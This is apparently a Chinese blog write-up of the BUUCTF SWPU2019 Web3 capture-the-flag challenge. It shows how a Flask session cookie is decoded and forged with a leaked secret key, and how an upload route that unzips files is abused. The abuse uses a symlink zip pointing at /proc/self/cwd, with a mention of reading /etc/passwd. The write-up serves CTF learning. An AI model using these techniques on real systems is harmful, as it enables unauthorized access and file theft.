

# BUUCTF [SWPU2019] Web3

原创

Senimo\_ 于 2020-12-20 18:24:27 发布 284 收藏

分类专栏: [BUUCTF WEB Writeup](#) 文章标签: [BUUCTF SWPU2019 Web3 writeup CTF](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_44037296/article/details/110950879](https://blog.csdn.net/weixin_44037296/article/details/110950879)

版权



[BUUCTF WEB Writeup 专栏收录该内容](#)

65 篇文章 9 订阅

订阅专栏

## BUUCTF [SWPU2019] Web3

考点:

1. Flask伪造session
2. `unzip()` 存在软链接攻击
3. 软链接的压缩包的制作
4. `/cwd` 指向当前进程运行目录的一个符号链接,即Flask运行进程目录

启动环境:

The screenshot shows a login interface with the following elements:

- A top bar with the text "Hello".
- A main title "Please input" centered above the form.
- Two input fields: one for "username" and one for "Password".
- A "Remember me" checkbox below the password field.
- A large blue "Login in" button at the bottom.

[https://blog.csdn.net/weixin\\_44037296](https://blog.csdn.net/weixin_44037296)

首先是一个登陆页面, 标题为: `CTF-Flask-Demo`, 推测其应为 `Flask` 所编写, 尝试使用 `admin` 用户登陆:

用户名: `admin`、密码: `admin`, 登陆成功:

The screenshot shows a confirmation page with the following elements:

- A top bar with the text "Hello".
- A "logout" link on the right side.

# Hello, your name is admin!

**upload**

[https://blog.csdn.net/weixin\\_44037296](https://blog.csdn.net/weixin_44037296)

又尝试了几个登陆密码，应该是没有验证，随便登陆其中有文件上传功能，点击**upload**:

**Permission denied!**

提示权限不足，考虑其为 **session** 判断权限，使用 **BurpSuite** 查看页面 **Cookie** 信息:

```
Request to http://e650cf70-63bb-4cc4-afdb-79c5e204c4a2.node3.buuoj.cn:80 [111.73.46.229]
Forward Drop Intercept is on Action
Raw Params Headers Hex
1 GET /upload HTTP/1.1
2 Host: e650cf70-63bb-4cc4-afdb-79c5e204c4a2.node3.buuoj.cn
3 Upgrade-Insecure-Request: 1
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Referer: http://e650cf70-63bb-4cc4-afdb-79c5e204c4a2.node3.buuoj.cn/login
7 Accept-Encoding: gzip, deflate
8 Accept-Language: zh-CN,zh;q=0.9
9 Cookie: UN_distinctid=1763b3112bc8ac-0d205f9bf1cb9d-63112c72-1fa400-1763b3112bd8ab; session=.eJyrVspMUbKqV1JIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.X9GvLw.3NYCqF4ayMMyV8WF2VW4a2ToMYk!
10 Connection: Close
11
12
https://blog.csdn.net/weixin_44037296
```

获取到 **session** 的值:

```
session=
.eJyrVspMUbKqV1JIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.X9GvLw.3NYCqF4ayMMyV8WF2VW4a2ToMYk!
```

注：在 **Flask** 中， **session** 是保存在 **Cookie** 中，也就是本地，所以可以直接读取其内容，也就产生了 **Flask** 伪造 **session** 的漏洞。

尝试使用 **Python3** 脚本解密 **session** :

```

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

```

```

(venv) [REDACTED] pythonProject % python3 main.py .
eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzF0yKikqTdVRKkgsLi7PLwIqVEpMyQWK6yi
VFqcW5SXmpsKFagFxjxhY.X9GvLw.3NYCqF4ayMMyV8WF2VW4a2ToMYk
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}

```

得到解密后的 `session` :

```
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}
```

其中 `username` 属性和 `password` 属性均为 `admin`，可能后端是验证 `id` 属性的值，尝试伪造 `session`，但需要 **SECRET\_KEY** 的值，**SECRET\_KEY** 是 Flask 中的通用密钥，主要在加密算法中作为一个参数，这个值的复杂度影响到数据传输和存储时的复杂度，密钥最好存储在系统变量中。

通常访问不存在的目录时，会出现在请求头中，尝试访问：<http://xxx/test> 目录：

404 not found

在F12的Network中查看：

Name	Headers	Preview	Response	Initiator	Timing	Cookies
test			Referrer Policy: strict-origin-when-cross-origin			
favicon.ico			▼ Response Headers view source			
			Connection: keep-alive Content-Length: 13 Content-Type: text/html; charset=utf-8 Date: Thu, 10 Dec 2020 05:45:57 GMT Server: openresty Swpuctf_csrf_token: U0VDUkVUX0tFWTpzX1xcXF3d3dlZWUhQCMkJV4mKg==37296			

其中 `Swpuctf_csrf_token: U0VDUkVUX0tFWTpzX1xcXF3d3dlZWUhQCMkJV4mKg==`，将其解码，得到：

SECRET\_KEY:keyqqqwwweee!@#\$%^&\*

将其中 `id` 的值修改为 `1`，构造本题所需的 `session`：

```
{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}
```

使用flask-session-cookie加密脚本[Github地址](#)：

```
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{\"id": b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"
```

```
flask-session-cookie-manager % python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{\"id": b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"  
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqc  
W5SXmpsKFagFiyxgX.X9G4CQ.xjoUSW4JhyILLyU41SPLk_kVGx8
```

得到加密后

的 `session`： `.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.X9G4CQ.xjoUSW4JhyILLyU41SPLk_kVGx8`

使用F12中的Application，修改其中的 session 值：

Name	Value	Dom...	Path	Expli...	Size	Http...	Sec...	Sam...	Prio...
session	.eJyrVspMUbKqVIJIUrJS8g20tVWq1V...	e65...	/	Ses...	139	✓			Med...
UM_distinctid	1763b3112bc8ac-0d205f9bf1cb9d-6...	.buu...	/	202...	73				Med...

再次点击upload，进入到文件上传页面：

Hello

logout

## 文件上传

选择文件 未选择任何文件

上传

https://blog.csdn.net/weixin\_44037296

在查看网页源码时，找到了注释中的源码：

```
@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[ -1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
```

```

if not os.path.exists(path):
    try:
        os.makedirs(path)
    except Exception as e:
        return 'error'
if not os.path.exists(pathname):
    try:
        f.save(pathname)
    except Exception as e:
        return 'error'
try:
    cmd = "unzip -n -d "+path+" "+ pathname
    if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
        return 'error'
    os.system(cmd)
except Exception as e:
    return 'error'
unzip_file = zipfile.ZipFile(pathname, 'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
    return 'not login'
try:
    if unzip_filename.find('/') != -1:
        shutil.rmtree(path_base)
        os.mkdir(path_base)
        return 'error'
    image = open(path+unzip_filename, "rb").read()
    resp = make_response(image)
    resp.headers['Content-Type'] = 'image/png'
    return resp
except Exception as e:
    shutil.rmtree(path_base)
    os.mkdir(path_base)
    return 'error'
return render_template('upload.html')

@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

```

应该为路由 `route.py` 中的 `upload` 页面的源码，对其进行源码审计：

在 `/upload` 路由中：

- 需要上传一个以 `.zip` 结尾的压缩图片
- 服务器进行解压
- 文件名不能存在 `/`

在 `/showflag` 路由中：

给出了 `flag` 的路径： `./flag/flag.jpg`

通过查阅资料，`unzip()` 存在软链接攻击，发现可以通过上传一个软链接的压缩包，来读取文件：

```
ln -s // linux的软链接 类似快捷方式  
ln -s // /etc/passwd forever404 会出现一个forever404文本 里面包含有密码  
/proc/self // 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接 即Flask运行进程目录
```

构造上传所需的文件：

```
ln -s /proc/self/cwd/flag.flag.jpg tmp1  
zip -ry tmp1.zip tmp1
```

adding: tmp1 (stored 0%)

得到 `tmp1.zip` 文件，上传文件时，使用 **BurpSuite** 抓取数据包：

The screenshot shows a network request in the Burp Suite interface. The request is a POST to `http://210657bc-d7e0-4ea5-8b58-f349724d756f.node3.buuoj.cn:80`. The raw request content is as follows:

```
1 POST /upload HTTP/1.1  
2 Host: 210657bc-d7e0-4ea5-8b58-f349724d756f.node3.buuoj.cn  
3 Content-Length: 373  
4 Cache-Control: max-age=0  
5 Upgrade-Insecure-Requests: 1  
6 Origin: http://210657bc-d7e0-4ea5-8b58-f349724d756f.node3.buuoj.cn  
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUjZgcyxOoqGWIEH  
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
10 Referer: http://210657bc-d7e0-4ea5-8b58-f349724d756f.node3.buuoj.cn/upload  
11 Accept-Encoding: gzip, deflate  
12 Accept-Language: zh-CN,zh;q=0.9  
13 Cookie: session=.eJyrvspMUbKgVlJIUrJS8g20tVWqlVHKLI7PyU_PzFoyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SxmpsKFagFiyxgX.X9G4CQ.xjoUSW4JhyILLyU41SPLk_kVGx8  
14 Connection: close  
15  
16 ----WebKitFormBoundaryAUjZgcyxOoqGWIEH  
17 Content-Disposition: form-data; name="file"; filename="tmp1.zip"  
18 Content-Type: application/zip  
19  
20 PK  
21 R0lG0t00 #0. #0. ux # /proc/self/cwd/flag.flag.jpgPK  
22 R0lG0t00 #0. ux # PK JZ  
23 ----WebKitFormBoundaryAUjZgcyxOoqGWIEH--
```

使用 **Repeater** 发送数据包，在 **Response** 中得到 flag

The screenshot shows the response from the Repeater. The response code is 200 OK. The response content is:

```
1 HTTP/1.1 200 OK  
2 Server: openresty  
3 Date: Sun, 20 Dec 2020 10:14:58 GMT  
4 Content-Type: image/png  
5 Content-Length: 43  
6 Connection: close  
7 Vary: Cookie  
8  
9 flag{b3b673a6-4b1d-42ca-8bbd-e4a0aa39c46e}  
10
```